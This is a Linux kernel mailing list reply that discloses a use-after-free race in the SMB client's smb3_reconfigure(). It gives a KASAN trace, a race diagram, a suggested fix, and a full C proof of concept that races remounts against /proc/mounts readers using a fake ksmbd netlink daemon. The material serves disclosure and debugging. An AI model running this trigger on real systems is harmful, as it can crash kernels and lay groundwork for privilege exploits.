Re: [PATCH] smb: client: Use more common error handling code in smb3_reconfigure()

From: XIAO WU

Date: Fri Jun 12 2026 - 18:18:33 EST


Hi Markus,

On Thu, 11 Jun 2026 17:33:39 +0200, Markus Elfring wrote:
> Use an additional label so that a bit of exception handling can be better
> reused at the end of this function implementation.

While this refactoring itself looks fine, I noticed a Sashiko review[1]
pointing out a pre-existing use-after-free race in smb3_reconfigure()
that affects the same code path.  I wrote a PoC to verify it and was
able to trigger the bug reliably on a KASAN-enabled kernel.

The problem is that smb3_reconfigure() modifies cifs_sb->ctx in place:
smb3_cleanup_fs_context_contents() frees the dynamically allocated
strings inside the active context and sets their pointers to NULL,
then memcpy() restores them from old_ctx.  Concurrent readers of
/proc/mounts do not hold the VFS s_umount lock, so they can access
these strings while they are being freed or are temporarily NULL.

My PoC races MS_REMOUNT calls against threads continuously reading
/proc/mounts.  Within a few iterations this triggers:

==================================================================
BUG: KASAN: slab-use-after-free in kstrdup+0x89/0xf0
Read of size 15 at addr ffff88810b75b1f0 by task poc/9956

Call Trace:
 <TASK>
 dump_stack_lvl+0x116/0x1f0
 print_report+0xf4/0x600
 kasan_report+0xe0/0x110
 kasan_check_range+0x100/0x1b0
 __asan_memcpy+0x23/0x60
 kstrdup+0x89/0xf0
 cifs_show_devname+0xbc/0x1a0       <-- /proc/mounts reader
 show_vfsmnt+0x154/0x3a0
 seq_read_iter+0xb2a/0x12d0
 vfs_read+0x8c4/0xcf0
 ksys_read+0x12f/0x250
 do_syscall_64+0x129/0x850
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Allocated by task 9944:
 kstrdup+0x56/0xf0
 smb3_fs_context_dup+0x539/0xb20
 smb3_reconfigure+0xf6f/0x2690     <-- remount allocation
 reconfigure_super+0x455/0xb60
 path_mount+0x1a3a/0x2390

Freed by task 9944:
 kfree+0x171/0x720
 smb3_cleanup_fs_context_contents.part.0+0x1ae/0x560  <-- freed here
 smb3_fs_context_free+0x49/0x60
 put_fs_context+0x15a/0x9b0
 path_mount+0xd5c/0x2390
==================================================================

The race window:

  CPU 0 (remount)                        CPU 1 (/proc/mounts reader)
  ===============                        ==========================
  smb3_reconfigure()
    smb3_cleanup_fs_context_contents()
      kfree(cifs_sb->ctx->devname)       ...
        ...                              cifs_show_devname()
        ... kstrdup(cifs_sb->ctx->devname)
        ...                                ^ UAF — memory already freed

I wrote the following PoC to reproduce this reliably.  It starts a
ksmbd IPC daemon, mounts a CIFS share, then races continuous remount
calls against /proc/mounts readers.  The full PoC source follows.

---8<--- poc.c ---
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <errno.h>
#include <signal.h>
#include <pthread.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <netinet/in.h>

#define SHARE_DIR "/tmp/smb_share"
#define MOUNT_POINT "/tmp/cifs_mount"

#define KSMBD_GENL_NAME "SMBD_GENL"
#define KSMBD_GENL_VERSION 1
#define KSMBD_EVENT_STARTING_UP 2
#define KSMBD_EVENT_LOGIN_REQUEST 4
#define KSMBD_EVENT_LOGIN_RESPONSE 5
#define KSMBD_EVENT_SHARE_CONFIG_REQUEST 6
#define KSMBD_EVENT_SHARE_CONFIG_RESPONSE 7
#define KSMBD_EVENT_TREE_CONNECT_REQUEST 8
#define KSMBD_EVENT_TREE_CONNECT_RESPONSE 9

struct startup_req {
    __u32 flags; __s32 signing; __s8 min_prot[16]; __s8 max_prot[16];
    __s8 netbios_name[16]; __s8 work_group[64]; __s8 server_string[64];
    __u16 tcp_port; __u16 ipc_timeout; __u32 deadtime; __u32 file_max;
    __u32 smb2_max_write; __u32 smb2_max_read; __u32 smb2_max_trans;
    __u32 share_fake_fscaps; __u32 sub_auth[3]; __u32 smb2_max_credits;
    __u32 smbd_max_io_size; __u32 max_connections; __s8 bind_interfaces_only;
    __u32 max_ip_connections; __s8 reserved[499]; __u32 ifc_list_sz; __s8 payload[];
} __attribute__((packed));

struct login_req  { __u32 handle; __s8 account[48]; __u32 rsv[16]; };
struct login_rsp  { __u32 handle; __u32 gid; __u32 uid; __s8 account[48]; __u16 status; __u16 hash_sz; __s8 hash[18]; __u32 rsv[16]; };
struct share_req  { __u32 handle; __s8 share_name[64]; __u32 rsv[16]; };
struct share_rsp  { __u32 handle; __u32 flags; __u16 create_mask; __u16 dir_mask; __u16 fcm; __u16 fdm; __u16 fuid; __u16 fgid; __s8 share_name[64]; __u32 rsv[111]; __u32 payload_sz; __u32 veto_list_sz; __s8 payload[]; };
struct tree_req   { __u32 handle; __u16 af; __u16 f; __u64 sid; __u64 cid; __s8 account[48]; __s8 share[64]; __s8 peer[64]; __u32 rsv[16]; };
struct tree_rsp   { __u32 handle; __u16 status; __u16 conn_flags; __u32 rsv[16]; };

#define MY_NLA_OK(nla, rem) ((rem) >= (int)sizeof(struct nlattr) && (nla)->nla_len >= sizeof(struct nlattr) && (int)(nla)->nla_len <= (rem))
#define MY_NLA_NEXT(nla, rem) ((rem) -= (((nla)->nla_len + 3) & ~3), (struct nlattr *)((char *)(nla) + (((nla)->nla_len + 3) & ~3)))

static volatile int stop_flag = 0;
static volatile int crash_detected = 0;

static int run_cmd(const char *cmd)
{
    int ret = system(cmd);
    if (ret == -1) return -1;
    if (WIFEXITED(ret) && WEXITSTATUS(ret) != 0) return WEXITSTATUS(ret);
    return 0;
}

/*
 * Minimal ksmbd IPC daemon via generic netlink — provides just enough
 * of the SMBD_GENL protocol for the kernel CIFS client to mount and
 * remount a share.
 */
static int daemon_ksmbd_ipc(void)
{
    int fd, family_id = -1, ret;
    struct sockaddr_nl sa;
    char buf[8192];

    fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
    if (fd < 0) { perror("sock"); return -1; }
    memset(&sa, 0, sizeof(sa));
    sa.nl_family = AF_NETLINK;
    sa.nl_pid = getpid();
    if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); close(fd); return -1; }

    /* CTRL_CMD_GETFAMILY for SMBD_GENL */
    memset(buf, 0, sizeof(buf));
    struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
    struct genlmsghdr *genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
    nlh->nlmsg_type = GENL_ID_CTRL;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = 1; nlh->nlmsg_pid = getpid();
    genlh->cmd = CTRL_CMD_GETFAMILY; genlh->version = 2;
    struct nlattr *a = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
    a->nla_type = CTRL_ATTR_FAMILY_NAME;
    a->nla_len = NLA_HDRLEN + strlen(KSMBD_GENL_NAME) + 1;
    memcpy((char *)a + NLA_HDRLEN, KSMBD_GENL_NAME, strlen(KSMBD_GENL_NAME) + 1);
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + a->nla_len;

    struct sockaddr_nl dst;
    memset(&dst, 0, sizeof(dst)); dst.nl_family = AF_NETLINK; dst.nl_pid = 0;
    struct iovec iov[1]; iov[0].iov_base = buf; iov[0].iov_len = nlh->nlmsg_len;
    struct msghdr msg; memset(&msg, 0, sizeof(msg));
    msg.msg_name = &dst; msg.msg_namelen = sizeof(dst); msg.msg_iov = iov; msg.msg_iovlen = 1;
    ret = sendmsg(fd, &msg, 0);
    if (ret < 0) { perror("send1"); close(fd); return -1; }
    ret = recv(fd, buf, sizeof(buf), 0);
    if (ret < 0) { perror("recv1"); close(fd); return -1; }
    if (nlh->nlmsg_type == NLMSG_ERROR) {
        struct nlmsgerr *e = NLMSG_DATA(nlh);
        fprintf(stderr, "err %d\n", e->error); close(fd); return -1;
    }
    int remaining = nlh->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
    struct nlattr *ra = (struct nlattr *)((char *)nlh + NLMSG_HDRLEN + GENL_HDRLEN);
    while (MY_NLA_OK(ra, remaining)) {
        if (ra->nla_type == CTRL_ATTR_FAMILY_ID) {
            family_id = *(int *)((char *)ra + NLA_HDRLEN);
            break;
        }
        ra = MY_NLA_NEXT(ra, remaining);
    }
    if (family_id < 0) { fprintf(stderr, "no SMBD_GENL\n"); close(fd); return -1; }

    /* KSMBD_EVENT_STARTING_UP */
    char rq[sizeof(struct startup_req)];
    struct startup_req *sr = (struct startup_req *)rq;
    memset(rq, 0, sizeof(rq));
    sr->tcp_port = htons(445); sr->file_max = 100;
    sr->smb2_max_write = 65536; sr->smb2_max_read = 65536; sr->smb2_max_trans = 65536;
    sr->max_connections = 10;
    strcpy((char *)sr->min_prot, "2.1"); strcpy((char *)sr->max_prot, "3.1.1");
    strcpy((char *)sr->netbios_name, "POC");
    strcpy((char *)sr->work_group, "WORKGROUP");
    strcpy((char *)sr->server_string, "PoC");

    memset(buf, 0, sizeof(buf));
    nlh = (struct nlmsghdr *)buf;
    genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
    nlh->nlmsg_type = family_id;
    nlh->nlmsg_flags = NLM_F_REQUEST;
    nlh->nlmsg_seq = 2; nlh->nlmsg_pid = getpid();
    genlh->cmd = KSMBD_EVENT_STARTING_UP; genlh->version = KSMBD_GENL_VERSION;
    struct nlattr *at = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
    at->nla_type = KSMBD_EVENT_STARTING_UP;
    at->nla_len = NLA_HDRLEN + sizeof(rq);
    memcpy((char *)at + NLA_HDRLEN, rq, sizeof(rq));
    nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + at->nla_len;
    memset(&dst, 0, sizeof(dst)); dst.nl_family = AF_NETLINK; dst.nl_pid = 0;
    iov[0].iov_base = buf; iov[0].iov_len = nlh->nlmsg_len;
    memset(&msg, 0, sizeof(msg));
    msg.msg_name = &dst; msg.msg_namelen = sizeof(dst); msg.msg_iov = iov; msg.msg_iovlen = 1;
    ret = sendmsg(fd, &msg, 0);
    if (ret < 0) { perror("startup"); close(fd); return -1; }

    /* Event loop: handle LOGIN, SHARE_CONFIG, TREE_CONNECT requests */
    while (!stop_flag) {
        memset(buf, 0, sizeof(buf));
        ret = recv(fd, buf, sizeof(buf), 0);
        if (ret < 0) { if (errno == EINTR) continue; break; }
        if (((struct nlmsghdr *)buf)->nlmsg_type != family_id) continue;
        genlh = (struct genlmsghdr *)((char *)buf + NLMSG_HDRLEN);

        if (genlh->cmd == KSMBD_EVENT_LOGIN_REQUEST) {
            struct nlattr *attr = (struct nlattr *)((char *)buf + NLMSG_HDRLEN + GENL_HDRLEN);
            remaining = ((struct nlmsghdr *)buf)->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
            while (MY_NLA_OK(attr, remaining)) {
                if (attr->nla_type == KSMBD_EVENT_LOGIN_REQUEST) {
                    struct login_req *r = (struct login_req *)((char *)attr + NLA_HDRLEN);
                    struct login_rsp resp; memset(&resp, 0, sizeof(resp));
                    resp.handle = r->handle; resp.uid = 0; resp.gid = 0; resp.status = 17;
                    strncpy((char *)resp.account, (const char *)r->account, 48);
                    memset(buf, 0, sizeof(buf));
                    struct nlmsghdr *on = (struct nlmsghdr *)buf;
                    struct genlmsghdr *og = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
                    on->nlmsg_type = family_id; on->nlmsg_flags = NLM_F_REQUEST; on->nlmsg_pid = getpid();
                    og->cmd = KSMBD_EVENT_LOGIN_RESPONSE; og->version = KSMBD_GENL_VERSION;
                    struct nlattr *oa = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
                    oa->nla_type = KSMBD_EVENT_LOGIN_RESPONSE;
                    oa->nla_len = NLA_HDRLEN + sizeof(resp);
                    memcpy((char *)oa + NLA_HDRLEN, &resp, sizeof(resp));
                    on->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + oa->nla_len;
                    memset(&dst,0,sizeof(dst)); dst.nl_family=AF_NETLINK; dst.nl_pid=0;
                    iov[0].iov_base=buf; iov[0].iov_len=on->nlmsg_len;
                    memset(&msg,0,sizeof(msg)); msg.msg_name=&dst; msg.msg_namelen=sizeof(dst); msg.msg_iov=iov; msg.msg_iovlen=1;
                    sendmsg(fd,&msg,0);
                    break;
                }
                attr = MY_NLA_NEXT(attr, remaining);
            }
        } else if (genlh->cmd == KSMBD_EVENT_SHARE_CONFIG_REQUEST) {
            struct nlattr *attr = (struct nlattr *)((char *)buf + NLMSG_HDRLEN + GENL_HDRLEN);
            remaining = ((struct nlmsghdr *)buf)->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
            while (MY_NLA_OK(attr, remaining)) {
                if (attr->nla_type == KSMBD_EVENT_SHARE_CONFIG_REQUEST) {
                    struct share_req *r = (struct share_req *)((char *)attr + NLA_HDRLEN);
                    char *path = SHARE_DIR;
                    int plen = strlen(path) + 1;
                    int total = sizeof(struct share_rsp) + plen;
                    char *resp_buf = malloc(total);
                    struct share_rsp *resp = (struct share_rsp *)resp_buf;
                    memset(resp, 0, total);
                    resp->handle = r->handle; resp->flags = 31;
                    resp->create_mask = 0744; resp->dir_mask = 0755;
                    resp->payload_sz = plen;
                    strncpy((char *)resp->share_name, (const char *)r->share_name, 64);
                    memcpy(resp->payload, path, plen);
                    memset(buf, 0, sizeof(buf));
                    struct nlmsghdr *on = (struct nlmsghdr *)buf;
                    struct genlmsghdr *og = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
                    on->nlmsg_type = family_id; on->nlmsg_flags = NLM_F_REQUEST; on->nlmsg_pid = getpid();
                    og->cmd = KSMBD_EVENT_SHARE_CONFIG_RESPONSE; og->version = KSMBD_GENL_VERSION;
                    struct nlattr *oa = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
                    oa->nla_type = KSMBD_EVENT_SHARE_CONFIG_RESPONSE;
                    oa->nla_len = NLA_HDRLEN + total;
                    memcpy((char *)oa + NLA_HDRLEN, resp, total);
                    on->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + oa->nla_len;
                    memset(&dst,0,sizeof(dst)); dst.nl_family=AF_NETLINK; dst.nl_pid=0;
                    iov[0].iov_base=buf; iov[0].iov_len=on->nlmsg_len;
                    memset(&msg,0,sizeof(msg)); msg.msg_name=&dst; msg.msg_namelen=sizeof(dst); msg.msg_iov=iov; msg.msg_iovlen=1;
                    sendmsg(fd,&msg,0);
                    free(resp_buf);
                    break;
                }
                attr = MY_NLA_NEXT(attr, remaining);
            }
        } else if (genlh->cmd == KSMBD_EVENT_TREE_CONNECT_REQUEST) {
            struct nlattr *attr = (struct nlattr *)((char *)buf + NLMSG_HDRLEN + GENL_HDRLEN);
            remaining = ((struct nlmsghdr *)buf)->nlmsg_len - NLMSG_HDRLEN - GENL_HDRLEN;
            while (MY_NLA_OK(attr, remaining)) {
                if (attr->nla_type == KSMBD_EVENT_TREE_CONNECT_REQUEST) {
                    struct tree_req *r = (struct tree_req *)((char *)attr + NLA_HDRLEN);
                    struct tree_rsp resp; memset(&resp,0,sizeof(resp));
                    resp.handle = r->handle; resp.status = 0;
                    memset(buf, 0, sizeof(buf));
                    struct nlmsghdr *on = (struct nlmsghdr *)buf;
                    struct genlmsghdr *og = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
                    on->nlmsg_type = family_id; on->nlmsg_flags = NLM_F_REQUEST; on->nlmsg_pid = getpid();
                    og->cmd = KSMBD_EVENT_TREE_CONNECT_RESPONSE; og->version = KSMBD_GENL_VERSION;
                    struct nlattr *oa = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
                    oa->nla_type = KSMBD_EVENT_TREE_CONNECT_RESPONSE;
                    oa->nla_len = NLA_HDRLEN + sizeof(resp);
                    memcpy((char *)oa + NLA_HDRLEN, &resp, sizeof(resp));
                    on->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN) + oa->nla_len;
                    memset(&dst,0,sizeof(dst)); dst.nl_family=AF_NETLINK; dst.nl_pid=0;
                    iov[0].iov_base=buf; iov[0].iov_len=on->nlmsg_len;
                    memset(&msg,0,sizeof(msg)); msg.msg_name=&dst; msg.msg_namelen=sizeof(dst); msg.msg_iov=iov; msg.msg_iovlen=1;
                    sendmsg(fd,&msg,0);
                    break;
                }
                attr = MY_NLA_NEXT(attr, remaining);
            }
        }
    }
    close(fd);
    return 0;
}

static void *reader_thread(void *arg)
{
    (void)arg;
    char buf[8192];
    while (!stop_flag && !crash_detected) {
        int fd = open("/proc/mounts", O_RDONLY);
        if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); }
        fd = open("/proc/self/mountinfo", O_RDONLY);
        if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); }
        usleep(5);
    }
    return NULL;
}

int main(void)
{
    pthread_t reader1, reader2, reader3;
    int i;

    printf("PoC: smb3_reconfigure UAF race\n");

    run_cmd("umount -f " MOUNT_POINT " 2>/dev/null");
    run_cmd("rm -rf " SHARE_DIR " " MOUNT_POINT " 2>/dev/null");
    mkdir(SHARE_DIR, 0755);
    mkdir(MOUNT_POINT, 0755);
    { int fd = open(SHARE_DIR "/hello.txt", O_CREAT|O_WRONLY, 0644);
      if(fd>=0){write(fd,"world",5);close(fd);} }

    printf("Starting ksmbd IPC daemon...\n");
    pid_t daemon_pid = fork();
    if (daemon_pid == 0) { daemon_ksmbd_ipc(); _exit(0); }
    sleep(2);

    printf("Mounting CIFS...\n");
    int mount_ok = 0;
    for (i = 0; i < 15 && !mount_ok; i++) {
        if (mount("//127.0.0.1/poc", MOUNT_POINT, "cifs", 0,
"guest,vers=3.0,iocharset=utf8,noperm,nosharesock,nohandlecache") == 0)
            mount_ok = 1;
        else if (run_cmd("mount -t cifs //127.0.0.1/poc /tmp/cifs_mount "
                         "-o guest,vers=3.0,iocharset=utf8,noperm,"
                         "nosharesock,nohandlecache 2>/dev/null") == 0)
            mount_ok = 1;
        else sleep(1);
    }
    if (mount_ok) printf("Mounted OK at %s\n", MOUNT_POINT);
    else printf("Failed to mount. Trying anyway...\n");

    run_cmd("dmesg -c >/dev/null 2>&1");

    printf("Starting race...\n");
    pthread_create(&reader1, NULL, reader_thread, NULL);
    pthread_create(&reader2, NULL, reader_thread, NULL);
    pthread_create(&reader3, NULL, reader_thread, NULL);

    for (i = 0; i < 2000 && !crash_detected; i++) {
        char buf[8192];
        int fd = open("/proc/mounts", O_RDONLY);
        if (fd >= 0) { while (read(fd, buf, sizeof(buf)) > 0); close(fd); }

        if (mount_ok) {
            mount("//127.0.0.1/poc", MOUNT_POINT, "cifs", MS_REMOUNT,
                  "iocharset=utf8,uid=0");
            mount("//127.0.0.1/poc", MOUNT_POINT, "cifs", MS_REMOUNT,
                  "vers=1.0");
            mount("//127.0.0.1/poc", MOUNT_POINT, "cifs", MS_REMOUNT,
                  "username=t,password=p,domain=d");
        }
        if (i % 10 == 0) usleep(50);
    }

    stop_flag = 1;
    pthread_join(reader1, NULL); pthread_join(reader2, NULL); pthread_join(reader3, NULL);
    kill(daemon_pid, SIGTERM); waitpid(daemon_pid, NULL, WNOHANG);

    printf("\n=== dmesg ===\n");
    FILE *dm = popen("dmesg | tail -60", "r");
    if (dm) {
        char line[256];
        while (fgets(line, sizeof(line), dm)) {
            printf("%s", line);
            if (strstr(line,"KASAN")||strstr(line,"use-after-free")||
                strstr(line,"BUG:")||strstr(line,"NULL pointer")||
                strstr(line,"general protection")||strstr(line,"UAF")||
                strstr(line,"smb3")||strstr(line,"cifs"))
                crash_detected = 1;
        }
        pclose(dm);
    }
    if (mount_ok) umount2(MOUNT_POINT, MNT_FORCE|MNT_DETACH);
    run_cmd("rm -rf /tmp/smb_share /tmp/cifs_mount 2>/dev/null");

    if (crash_detected) { printf("\n*** BUG CONFIRMED! ***\n"); return 1; }
    printf("\nDone.\n");
    return 0;
}
---8<---

Note that this is a pre-existing issue, not introduced by your patch.
The same race exists on the success path and the error rollback path
of smb3_reconfigure() regardless of the goto restructuring.

A possible fix would be to replace the entire cifs_sb->ctx pointer
atomically rather than mutating the active context in place, or to
hold an appropriate lock around the context swap.  The Sashiko
review[1] also mentions a similar race with symlinkroot in
smb2_parse_native_symlink().

Hope this is helpful.


Best,

Xiao


[1] https://sashiko.dev/#/patchset/328ba830-24f6-4358-b88f-9aec843ecf14%40web.de